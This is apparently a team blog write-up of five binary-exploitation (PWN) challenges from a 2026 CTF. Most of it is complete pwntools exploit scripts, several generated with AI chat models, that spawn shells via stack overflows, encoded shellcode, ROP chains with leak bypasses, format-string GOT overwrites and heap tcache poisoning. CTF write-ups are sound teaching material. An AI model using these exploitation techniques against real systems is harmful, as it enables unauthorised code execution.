- Published on
Batman's Kitchen CTF 2026 - PWN challenges
Introduction for vibe hacking
Between February 21st and 23rd, 2026, a fairly interesting American CTF took place. Unfortunately, registration was limited to a single account, but our bot MindCrafcik successfully managed flag counting. This time, we'll briefly describe the PWN challenges we solved—all of them. Most solutions were generated by Claude and Gemini. Fortunately, Claude hit its limits on the Igetsit challenge, so I took over midway. For Dogtrack, it consumed millions of tokens and dozens of hours across three people, but we got it done (Grzechu's chat session was impressively persistent). While it's encouraging that AI models with MCP support can capture flags, the satisfaction isn't quite the same as solving them manually. That said, you still need genuine knowledge—otherwise AI models waste tokens mindlessly when they don't know what to do, and those costs add up. Humans remain essential. However, AI-generated solutions tend to be characterized by a stretched approach, doing unnecessary additional things, which often makes the code less readable. More details about the CTF here.
[EASY]/egghead

Solution author: kerszi
A bit embarrassing, but for such a simple task I used an MCP model with Claude - Sonnet 4.6.
Solution
#!/usr/bin/env python3
from pwn import *
context.binary = elf = ELF('./egghead')
# Remote or local
import sys
if len(sys.argv) > 1 and sys.argv[1] == 'remote':
HOST = sys.argv[2] if len(sys.argv) > 2 else 'localhost'
PORT = int(sys.argv[3]) if len(sys.argv) > 3 else 4444
io = remote(HOST, PORT)
else:
io = process('./egghead')
win = elf.symbols['win']
# ret gadget for stack alignment
ret = ROP(elf).find_gadget(['ret'])[0]
log.info(f"win @ {hex(win)}")
log.info(f"ret @ {hex(ret)}")
# Buffer is 0x20 (32) bytes from rbp
# Offset to return address: 32 (buf) + 8 (saved rbp) = 40
# fgets reads 64 bytes, so we have 64 - 40 = 24 bytes for ROP chain
# First input: overflow return address with ret;win (for alignment)
payload = b'A' * 40 + p64(ret) + p64(win)
io.sendlineafter(b'> ', payload)
# Second input: "Happy Gilmore" to exit the loop and trigger return
io.sendlineafter(b'> ', b'Happy Gilmore')
io.interactive()
Flag:
bkctf{hit73m_wi7h_th3_br4in_d3s7r0y3r}
Cult Classic

Solution author: kerszi
I didn't even review this challenge, I just threw it at the model and it was done in a minute.
Analysis
The binary is a 64-bit PIE ELF with an executable stack (RWE) — a clear hint that this is a shellcode challenge.
Program Flow
mainreads up to 128 bytes from stdin viafgetsinto a stack buffer- Passes the buffer to
castSpell castSpelltransforms each byte using:output[i] = (input[i] ^ i) + 7- The transformed buffer is then called as code (
call *%rax)
Key Observations
- Stack is marked RWE (Read-Write-Execute), so shellcode on the stack will run
- The transformation is a simple per-byte XOR with the index plus a constant — fully reversible
fgetsstops at newline (0x0a), so encoded payload must not contain that byte- Loop counter is a signed byte, iterating from 0 to 127
Solution
#!/usr/bin/env python3
from pwn import *
context.arch = 'amd64'
def encode_shellcode(sc):
encoded = bytearray()
for i, b in enumerate(sc):
enc = ((b - 7) ^ i) & 0xFF
if enc == 0x0a:
return None
encoded.append(enc)
return encoded
shellcode = asm(shellcraft.sh())
# Prepend NOPs until no encoded byte is 0x0a
for nop_count in range(0, 40):
candidate = b'\x90' * nop_count + shellcode
if len(candidate) >= 128:
break
encoded = encode_shellcode(candidate)
if encoded is not None:
break
r = remote('pwn-cc-5cfc69a66a7e1d48.instancer.batmans.kitchen', 1337, ssl=True)
r.recvuntil(b'sigils')
r.sendline(encoded)
r.sendline(b'cat flag*')
r.interactive()
Flag:
bkctf{pr415e_0ur_l0rd_4nd_54v10r_c7hulu}
Yapster

Solution author: kerszi
All vibe hacking long code with unnecessary stuff ;)
#!/usr/bin/env python3
from pwn import *
import argparse
context.arch = 'amd64'
context.log_level = 'info'
parser = argparse.ArgumentParser()
parser.add_argument('--remote', '-r', action='store_true', help='Connect to remote server')
parser.add_argument('--host', default='localhost', help='Remote host (default: localhost)')
parser.add_argument('--port', '-p', type=int, default=1337, help='Remote port (default: 1337)')
args = parser.parse_args()
# ── Binary / Libc setup ──────────────────────────────────────────────
elf = ELF('./yapster', checksec=False)
libc = ELF('./libc.so.6', checksec=False)
# Known offsets within libc
LIBC_POP_RDI = 0x23b6a # pop rdi; ret
LIBC_RET = 0x22679 # ret (for stack alignment)
LIBC_SYSTEM = libc.symbols['system'] # 0x52290
LIBC_BINSH = next(libc.search(b'/bin/sh')) # 0x1b45bd
# PIE offset: readInbox returns to main at this PIE-relative address
# 176c: call readInbox
# 1771: (next insn — the return address)
PIE_READINBOX_RET = 0x1771
# Libc offset: main returns into __libc_start_main at this libc-relative addr
# 24081: call rax (calls main)
# 24083: mov edi, eax (return lands here)
LIBC_MAIN_RET = 0x24083
# ── Helpers ───────────────────────────────────────────────────────────
def menu(io, choice):
io.sendlineafter(b'> ', str(choice).encode())
def send_msg(io, body, receiver):
"""Send a message. body/receiver are raw bytes (no trailing newline)."""
menu(io, 1)
io.sendlineafter(b'> ', body)
io.sendlineafter(b'> ', receiver)
def read_inbox(io):
menu(io, 2)
def has_badchar(data, bad=b'\x0a'):
"""Check if data contains any bad characters (newline for fgets)."""
return any(b in data for b in bad)
# ── Connect ───────────────────────────────────────────────────────────
def exploit():
while True:
if args.remote:
io = remote(args.host, args.port, ssl=True)
else:
io = process('./yapster')
# ╔═══════════════════════════════════════════════════════════════╗
# ║ PHASE 1 — Leak canary + PIE + libc via readInbox fwrite ║
# ╠═══════════════════════════════════════════════════════════════╣
#
# Vulnerability: fgets(msg.reciever, 48, stdin) overflows the
# 32-byte reciever buffer into timeSent (8 bytes) and messageLen
# (8 bytes).
#
# By sending to self ("BigHippo85"), the msg is copied to inbox.
# readInbox() copies it to a *stack* local and calls:
# fwrite(msg.messageBody, 1, msg.messageLen, stdout)
#
# readInbox stack (offsets from msg.messageBody start):
# +0 .. +47 messageBody (our data)
# +48 .. +55 stack padding
# +56 .. +63 *** STACK CANARY ***
# +64 .. +71 padding
# +72 .. +79 saved rbx
# +80 .. +87 saved rbp (= main's rbp)
# +88 .. +95 return addr into main → PIE leak
# +96 .. +119 main locals / padding
# +120.. +127 main's return addr → libc leak
#
# Set messageLen = 128 (0x80) to dump through the libc address.
USER = b'BigHippo85'
# Build receiver overflow for the leak:
leak_receiver = USER + b'\x00' # 11 bytes
leak_receiver += b'A' * 21 # pad to 32 (end of reciever)
leak_receiver += p64(0) # timeSent (8 bytes)
leak_receiver += b'\x80' + b'\x00' * 6 # messageLen = 128
assert len(leak_receiver) == 47
leak_body = b'X' * 10
log.info('Sending leak message to self...')
send_msg(io, leak_body, leak_receiver)
log.info('Reading inbox to trigger fwrite leak...')
read_inbox(io)
io.recvuntil(b'From: ')
io.recvuntil(b'\n')
leak_data = io.recvn(128)
canary = u64(leak_data[56:64])
pie_ret = u64(leak_data[88:96])
libc_ret = u64(leak_data[120:128])
pie_base = pie_ret - PIE_READINBOX_RET
libc_base = libc_ret - LIBC_MAIN_RET
log.success(f'Canary: {canary:#018x}')
log.success(f'PIE base: {pie_base:#018x}')
log.success(f'Libc base: {libc_base:#018x}')
assert canary & 0xff == 0, 'Canary LSB should be \\x00'
assert pie_base & 0xfff == 0, 'PIE base not page-aligned'
assert libc_base & 0xfff == 0, 'Libc base not page-aligned'
io.recvuntil(b'---------')
# ╔═══════════════════════════════════════════════════════════════╗
# ║ PHASE 2 — ROP via memcpy overflow in sendMessage else ║
# ╠═══════════════════════════════════════════════════════════════╣
#
# When receiver != USER, sendMessage does:
# memcpy(&sentMessage.msg.messageBody, &msg, sizeof(msg));
#
# This copies 128 bytes into a 48-byte buffer → 80-byte overflow.
#
# sendMessage stack mapping (offsets from memcpy dst = msg byte):
# Byte 0-31 → msg.sender (fixed "BigHippo85")
# Byte 32-55 → msg.reciever[0:24]
# Byte 56-63 → msg.reciever[24:32] ← CANARY
# Byte 64-71 → msg.timeSent ← saved RBP
# Byte 72-79 → msg.messageLen ← RETURN ADDRESS
# Byte 80-127 → msg.messageBody ← ROP chain continuation
pop_rdi = libc_base + LIBC_POP_RDI
ret = libc_base + LIBC_RET
system = libc_base + LIBC_SYSTEM
binsh = libc_base + LIBC_BINSH
# Check for \n in canary and all payload addresses.
# fgets stops at \n, so any \n in our binary payload truncates it.
# If bad bytes are found, restart with fresh ASLR randomization.
payload_bytes = p64(canary) + p64(ret) + p64(pop_rdi) + p64(binsh) + p64(system)
if has_badchar(payload_bytes):
log.warn('Bad byte (\\n) in canary or addresses — retrying...')
io.close()
continue
log.info(f'pop_rdi: {pop_rdi:#x}')
log.info(f'ret: {ret:#x}')
log.info(f'system: {system:#x}')
log.info(f'binsh: {binsh:#x}')
# ── Build messageBody (first fgets input) ────────────────────
# Pad to 46 bytes so sendline's \n is the 47th char and gets
# consumed by fgets(buf,48). If we pad to 47, fgets hits its
# limit before \n, leaving a stale \n that poisons the next read.
rop_chain = p64(pop_rdi)
rop_chain += p64(binsh)
rop_chain += p64(system)
exploit_body = rop_chain.ljust(46, b'\x00')
# ── Build reciever overflow (second fgets input) ─────────────
exploit_recv = b'B' * 24 # filler (not USER)
exploit_recv += p64(canary) # restore canary
exploit_recv += p64(0) # fake saved rbp
exploit_recv += p64(ret)[:7] # ret gadget (7 bytes + fgets \0)
assert len(exploit_recv) == 47
log.info('Sending exploit payload...')
send_msg(io, exploit_body, exploit_recv)
log.success('Shell spawned!')
io.interactive()
return
if __name__ == '__main__':
exploit()
Flag
bkctf{y4pp3d_t0_cl0s3_70_5un}
igetsit

Solution author: kerszi
Claude solved this challenge halfway through, then struggled immensely and couldn't complete it, so I analyzed it from scratch and finished the task with minor help from Gemini.
from pwn import *
context.log_level = 'warning'
LIBC_LEAK_OFF = 0x10e297
PIE_LEAK_OFF = 0x40a0
STRLEN_GOT = 0x4028 # PIE offset
context.update(arch='x86_64', os='linux')
context.terminal = ['/mnt/c/WINDOWS/System32/cmd.exe', '/c', 'start', 'wsl.exe'] #root
HOST="nc igetsit-db83c19f208e0649.instancer.batmans.kitchen 1337"
ADDRESS,PORT=HOST.split()[1:]
BINARY_NAME="./igetsit"
binary = context.binary = ELF(BINARY_NAME, checksec=False)
libc = ELF('./libc.so.6', checksec=False)
if args.REMOTE:
p = remote(ADDRESS,PORT, ssl=True)
else:
p = process(binary.path)
warn("Step 1: Leaking libc and PIE base...")
fmt_leak = b'%10$p|%3$p'
p.sendlineafter(b'> ', b'2')
p.sendlineafter(b'> ', b'7')
payload = b"\x00" + b"A" * 1023 + b"%10$p|%3$p"
p.sendlineafter(b'> ', payload)
#pause(3)
p.sendlineafter(b'> ', b'1') # Wybieramy '1. Get bin' [cite: 116]
p.sendlineafter(b'> ', b'0') # Wybieramy dowolny bin (np. 0) [cite: 110]
p.sendlineafter(b'> ', b'0') # Wybieramy nieistniejącą opcję formatu (np. 0),
# co zmusza program do printf(readFormat, ...).
# # ================= KROK 3: ODBIÓR I MATEMATYKA =================
p.recvuntil(b'Not an option\n') # Program wypisze to przed naszymi adresami
leak = p.recvline().strip() # To jest nasza linia: 0x55...|0x7f...
parts = leak.split(b'|')
# Obliczanie baz
pie_base = int(parts[0], 16) - PIE_LEAK_OFF
libc_base = int(parts[1], 16) - LIBC_LEAK_OFF
system_addr = libc_base + libc.symbols['system']
#one_gadget = libc_base+0xe3afe
one_gadget = libc_base+0xe3b01 #this works
# one_gadget = libc_base+0xe3b04
strlen_got = pie_base + STRLEN_GOT
exit_got = pie_base+binary.got.exit
warn(f'PIE base: {hex(pie_base)}')
warn(f'libc base: {hex(libc_base)}')
warn(f'strlen@GOT: {hex(strlen_got)}')
warn(f'exit@GOT: {exit_got:#x}')
# ==================== KROK 2: NADPISANIE exit@GOT (Test) ====================
# nadpisywanie exit_got -> one_gadget
targets = [
(exit_got, one_gadget & 0xffff),
(exit_got + 2, (one_gadget >> 16) & 0xffff),
(exit_got + 4, (one_gadget >> 32) & 0xffff)
]
for addr, val in targets:
warn(f"Zapisywanie 0x{val:04x} pod adres {hex(addr)}...")
# 1. Wstawiamy adres do bin0
p.sendlineafter(b'> ', b'2')
p.sendlineafter(b'> ', b'0')
p.sendline(p64(addr))
# 2. Ustawiamy format string w readFormat (przez bin7)
if val == 0:
fmt = b"%1$hn" # Jeśli wartość to 0, nie wypisujemy nic
else:
fmt = f"%{val}c%1$hn".encode()
p.sendlineafter(b'> ', b'2')
p.sendlineafter(b'> ', b'7')
p.sendlineafter(b'> ', b"\x00" + b"A" * 1023 + fmt)
# 3. Wyzwalamy printf
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'> ', b'0')
p.sendlineafter(b'> ', b'0')
# Czyścimy bufor (odbieramy te tysiące spacji)
p.recvuntil(b'Not an option\n', timeout=15)
warn("GOT nadpisany! Czas na shella.")
p.sendlineafter(b'> ', b'3')
p.sendline(b'cat flag')
p.interactive()
Flag:
bkctf{g0_g3ts()_y0ur_bag_gIr1}
dogtrack
This challenge consumed millions of tokens from chats and significant involvement from team members and many reindeer. Only the persistent Chat-Grzechu managed to handle it. Others fell short on this one. Great respect for the perseverance.
Solution author: Grzechu
Solution:
#!/usr/bin/env python3
"""
dogtrack CTF exploit - FINAL WORKING VERSION v2
Poison null byte -> consolidation -> libc leak -> stale pointer tcache poison -> shell
Key fix: Added dummy race after hook record creation to prevent slot collision.
slot_C and hook_slot must be different for the swap to actually change data.
"""
from pwn import *
import sys, time
context.arch = 'amd64'
context.log_level = 'debug' if '--debug' in sys.argv else 'info'
REMOTE_HOST = 'dogtrack-fdbef087a254cfd3.instancer.batmans.kitchen'
REMOTE_PORT = 1337
libc = ELF('./libc.so.6')
SYSTEM = libc.symbols['system']
FREE_HOOK = libc.symbols['__free_hook']
MALLOC_HOOK = libc.symbols['__malloc_hook']
UNSORTED_BIN_OFF = MALLOC_HOOK + 0x10 + 88
log.info(f"system=0x{SYSTEM:x} __free_hook=0x{FREE_HOOK:x} unsorted=0x{UNSORTED_BIN_OFF:x}")
# ====== Helpers ======
def go_pound(p):
p.recvuntil(b'> ')
p.sendline(b'1')
p.recvuntil(b'pound!')
def leave_pound(p):
p.recvuntil(b'> ')
p.sendline(b'3')
def breed(p, k, name, speed):
p.recvuntil(b'> ')
p.sendline(b'1')
p.recvuntil(b'Kennel Index > ')
p.sendline(str(k).encode())
p.recvuntil(b'characters) > ')
p.send(name)
p.recvuntil(b'characters) > ')
p.send(speed)
p.recvuntil(b'kennel')
p.recvline()
def release(p, k):
p.recvuntil(b'> ')
p.sendline(b'2')
p.recvuntil(b'Kennel Index > ')
p.sendline(str(k).encode())
def go_hof(p):
p.recvuntil(b'> ')
p.sendline(b'3')
p.recvuntil(b'Hall of Fame!')
def leave_hof(p):
p.recvuntil(b'> ')
p.sendline(b'3')
def wipe(p, i):
p.recvuntil(b'> ')
p.sendline(b'2')
p.recvuntil(b'Record index > ')
p.sendline(str(i).encode())
def swap(p, i, j):
p.recvuntil(b'> ')
p.sendline(b'4')
p.recvuntil(b'Record index > ')
p.sendline(str(i).encode())
p.recvuntil(b'Record Index > ')
p.sendline(str(j).encode())
p.recvuntil(b'swapped!')
def race(p, k):
p.recvuntil(b'> ')
p.sendline(b'2')
p.recvuntil(b'Kennel Index > ')
p.sendline(str(k).encode())
return p.recvuntil(b'\nSelect Option')
nrec = 0
def do_race(p, k):
global nrec; ret = race(p, k); nrec += 1; return ret
def do_wipe(p, i):
global nrec; wipe(p, i); nrec -= 1
# ====== Exploit ======
def pwn():
global nrec
if 'local' in sys.argv:
p = process('./dogtrack')
else:
p = remote(REMOTE_HOST, REMOTE_PORT, ssl=True)
p.recvuntil(b'Dog Track!')
log.info("Connected!")
# == PHASE 1: Initial heap layout ==
go_pound(p)
breed(p, 0, b'AAAAAA\n', b'\xff\n')
leave_pound(p)
do_race(p, 0) # slot 0
do_race(p, 0) # slot 1 (recA)
go_pound(p)
breed(p, 1, b'BBBBBBBB\n', b'\xfe\n')
leave_pound(p)
do_race(p, 0) # slot 2 (recC)
do_race(p, 0) # slot 3 (guard)
for _ in range(5):
do_race(p, 0) # slots 4-8
log.info(f"Phase 1: {nrec} records")
# == PHASE 2: Fill tcache 0x100, free recA to unsorted bin ==
go_hof(p)
for i in [0, 3, 4, 5, 6, 7, 8]:
do_wipe(p, i)
do_wipe(p, 1) # recA -> unsorted (8th free, tcache full)
leave_hof(p)
log.info("Phase 2: tcache full, recA in unsorted")
# == PHASE 3: Off-by-one + fake prev_size ==
go_pound(p)
release(p, 1)
breed(p, 1, b'X' * 24 + p16(0x130) + b'\x00' * 5, b'\xff\n')
leave_pound(p)
log.info("Phase 3: off-by-one applied")
# == PHASE 4: Backward consolidation ==
go_hof(p)
do_wipe(p, 2)
leave_hof(p)
log.info("Phase 4: 0x230 consolidated")
# == PHASE 5: Drain tcache + alloc from unsorted ==
for _ in range(7):
do_race(p, 0)
do_race(p, 0) # 8th: from unsorted, 0x130 remainder at dogB
log.info("Phase 5: remainder at dogB")
go_hof(p)
do_wipe(p, 0) # 1 tcache entry for leak
leave_hof(p)
# == PHASE 6: Libc leak ==
p.recvuntil(b'> ')
p.sendline(b'2')
p.recvuntil(b'Kennel Index > ')
p.sendline(b'1')
p.recvuntil(b'\n')
line = p.recvuntil(b' now entering')
leaked = line[:-len(b' now entering')]
log.info(f"Leak ({len(leaked)} bytes): {leaked.hex()}")
leak_addr = u64(leaked.ljust(8, b'\x00'))
libc_base = leak_addr - UNSORTED_BIN_OFF
if libc_base & 0xfff:
for delta in [8, -8, 16, -16]:
t = leak_addr - (UNSORTED_BIN_OFF + delta)
if t & 0xfff == 0:
libc_base = t; break
system_addr = libc_base + SYSTEM
free_hook_addr = libc_base + FREE_HOOK
log.success(f"libc: {hex(libc_base)}")
log.success(f"system: {hex(system_addr)}")
log.success(f"__free_hook: {hex(free_hook_addr)}")
p.recvuntil(b'\nSelect Option')
nrec += 1
# == PHASE 7: Record overlap at chunk_X (dogB position) ==
do_race(p, 0)
overlap_slot = (nrec - 1) % 16
log.info(f"Phase 7: overlap at slot {overlap_slot}, nrec={nrec}")
# == PHASE 8: Stale pointer tcache poison ==
# Step A: Create hook record with name=p64(__free_hook).
# This allocs from top chunk (tcache 0x100 empty), NOT at chunk_X.
go_pound(p)
release(p, 0)
breed(p, 0, p64(free_hook_addr) + b'\n', b'\x00\n')
leave_pound(p)
do_race(p, 0)
hook_slot = (nrec - 1) % 16
log.info(f"Step A: hook record at slot {hook_slot}, nrec={nrec}")
# Step A.5: Dummy race to bump nrec (prevents slot collision with slot_C later).
go_pound(p)
release(p, 0)
breed(p, 0, b'AAAAAA\n', b'\xff\n')
leave_pound(p)
do_race(p, 0)
log.info(f"Step A.5: dummy race, nrec={nrec}")
# Step 1: Free chunk_X to tcache via wipe(overlap_slot).
go_hof(p)
do_wipe(p, overlap_slot)
leave_hof(p)
log.info(f"Step 1: chunk_X in tcache, nrec={nrec}")
# Step 2: Pop chunk_X via race. Key cleared. Record at slot_B.
do_race(p, 0)
slot_B = (nrec - 1) % 16
log.info(f"Step 2: popped, slot_B={slot_B}, nrec={nrec}")
# Step 3: Free chunk_X again via release(dogB).
# Key=[8..15]=0 (cleared in step 2) != tcache_perthread -> PASSES!
go_pound(p)
release(p, 1)
leave_pound(p)
log.info(f"Step 3: freed via release(dogB), nrec={nrec}")
# Step 4: Pop chunk_X via race. Key cleared. Record at slot_C.
do_race(p, 0)
slot_C = (nrec - 1) % 16
log.info(f"Step 4: popped, slot_C={slot_C}, nrec={nrec}")
# Step 5: Free chunk_X via stale wipe(slot_B).
# Key=0 (cleared in step 4) != tcache -> PASSES!
# After: tcache entries[14] = chunk_X, count=1.
go_hof(p)
do_wipe(p, slot_B)
log.info(f"Step 5: chunk_X in tcache (stale wipe), nrec={nrec}")
# Step 6: SWAP slot_C (stale ptr->chunk_X in tcache) with hook_slot.
# This writes p64(__free_hook) to chunk_X[0..7] via strcpy,
# while chunk_X is IN tcache! Poisons next pointer!
log.info(f"Step 6: swap({slot_C}, {hook_slot})")
assert slot_C != hook_slot, f"COLLISION: slot_C={slot_C} == hook_slot={hook_slot}"
swap(p, slot_C, hook_slot)
log.success(f"SWAP done! chunk_X->next = __free_hook in tcache!")
leave_hof(p)
# Step 7: Pop chunk_X. entries becomes chunk_X->next = __free_hook!
do_race(p, 0)
log.info(f"Step 7: popped chunk_X, entries=__free_hook, nrec={nrec}")
# Step 8: Re-breed dog0 with name=p64(system_addr).
go_pound(p)
release(p, 0)
breed(p, 0, p64(system_addr) + b'\n', b'\x00\n')
leave_pound(p)
# Step 9: Pop __free_hook! Record writes system_addr to __free_hook.
do_race(p, 0)
log.success(f"__free_hook overwritten with system()!")
# == PHASE 9: Trigger shell ==
go_pound(p)
breed(p, 2, b'A\n', b'sh\n') # dog2: speed = "sh\n"
log.info("Triggering free -> system('sh')...")
p.recvuntil(b'> ')
p.sendline(b'2') # release
p.recvuntil(b'Kennel Index > ')
p.sendline(b'2') # dog2
time.sleep(0.5)
log.success("SHELL!")
p.sendline(b'id')
p.interactive()
pwn()
Flag:
bkctf{7h3_r4w35t_0f_h07d0G5}
Bonus
You can find all binaries here.
